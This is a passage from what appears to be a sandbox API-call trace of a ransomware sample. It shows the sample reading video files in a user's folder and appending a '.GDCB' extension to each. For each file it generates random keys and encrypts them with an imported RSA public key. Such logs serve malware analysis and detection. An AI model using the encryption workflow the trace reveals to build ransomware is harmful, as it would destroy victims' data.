flProtect=0x4) returned 0x29a0000 [0143.584] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.584] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xfd8e, lpOverlapped=0x0) returned 1 [0143.593] VirtualAlloc (lpAddress=0x0, dwSize=0xfd90, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.598] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\ppTk R5o9qfrpMwcdZ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\pptk r5o9qfrpmwcdz.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\ppTk R5o9qfrpMwcdZ.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\pptk r5o9qfrpmwcdz.avi.gdcb")) returned 1 [0143.599] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.599] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.599] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.599] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.599] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0143.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.600] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.600] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.600] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.600] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0143.602] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4350) returned 1 [0143.602] CryptGetKeyParam (in: hKey=0x28f4350, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.602] CryptEncrypt (in: hKey=0x28f4350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.602] GetLastError () returned 0x0 [0143.602] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.602] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0143.604] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dcc0) returned 1 [0143.604] CryptGetKeyParam (in: hKey=0x37dcc0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.604] CryptEncrypt (in: hKey=0x37dcc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.605] GetLastError () returned 0x0 [0143.605] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.605] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\sM-RZdXy7IpWC_.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\sm-rzdxy7ipwc_.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.605] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.605] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.605] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xe239, lpOverlapped=0x0) returned 1 [0143.616] VirtualAlloc (lpAddress=0x0, dwSize=0xe240, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.621] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\sM-RZdXy7IpWC_.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\sm-rzdxy7ipwc_.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\sM-RZdXy7IpWC_.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\sm-rzdxy7ipwc_.mkv.gdcb")) returned 1 [0143.622] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.622] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.622] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.623] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.623] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.623] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.623] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0143.625] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4390) returned 1 [0143.625] CryptGetKeyParam (in: hKey=0x28f4390, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.625] CryptEncrypt (in: hKey=0x28f4390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.625] GetLastError () returned 0x0 [0143.625] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.625] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0143.637] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x38cb70) returned 1 [0143.637] CryptGetKeyParam (in: hKey=0x38cb70, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.637] CryptEncrypt (in: hKey=0x38cb70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.637] GetLastError () returned 0x0 [0143.637] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.637] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\sq-y33jTJDe8y5s5Pm.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\sq-y33jtjde8y5s5pm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.637] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.638] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.638] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x2cb0, lpOverlapped=0x0) returned 1 [0143.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2cb0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.652] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\sq-y33jTJDe8y5s5Pm.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\sq-y33jtjde8y5s5pm.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\sq-y33jTJDe8y5s5Pm.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\sq-y33jtjde8y5s5pm.flv.gdcb")) returned 1 [0143.653] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.653] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.653] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.653] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.653] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.654] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.654] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.654] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0143.656] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x38caf0) returned 1 [0143.656] CryptGetKeyParam (in: hKey=0x38caf0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.656] CryptEncrypt (in: hKey=0x38caf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.656] GetLastError () returned 0x0 [0143.656] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.656] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0143.660] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x38cd30) returned 1 [0143.660] CryptGetKeyParam (in: hKey=0x38cd30, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.660] CryptEncrypt (in: hKey=0x38cd30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.660] GetLastError () returned 0x0 [0143.660] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.660] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\vokX63XlsbhJHT0r.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\vokx63xlsbhjht0r.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.660] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.660] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.661] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x17bba, lpOverlapped=0x0) returned 1 [0143.670] VirtualAlloc (lpAddress=0x0, dwSize=0x17bc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.676] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\vokX63XlsbhJHT0r.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\vokx63xlsbhjht0r.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\vokX63XlsbhJHT0r.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\vokx63xlsbhjht0r.mp4.gdcb")) returned 1 [0143.677] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.677] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.677] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.677] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.698] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.698] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.698] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.698] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.700] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.704] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ecc18) returned 1 [0143.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.705] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.705] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0143.705] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.705] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ecfd0) returned 1 [0143.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.706] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0143.706] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.706] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ecc18) returned 1 [0143.708] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x38cbb0) returned 1 [0143.708] CryptGetKeyParam (in: hKey=0x38cbb0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.708] CryptEncrypt (in: hKey=0x38cbb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0143.708] GetLastError () returned 0x0 [0143.708] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.708] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ecca0) returned 1 [0143.710] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x38cf30) returned 1 [0143.710] CryptGetKeyParam (in: hKey=0x38cf30, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.710] CryptEncrypt (in: hKey=0x38cf30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0143.710] GetLastError () returned 0x0 [0143.711] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0143.711] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\shell\\defaultlayouts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff 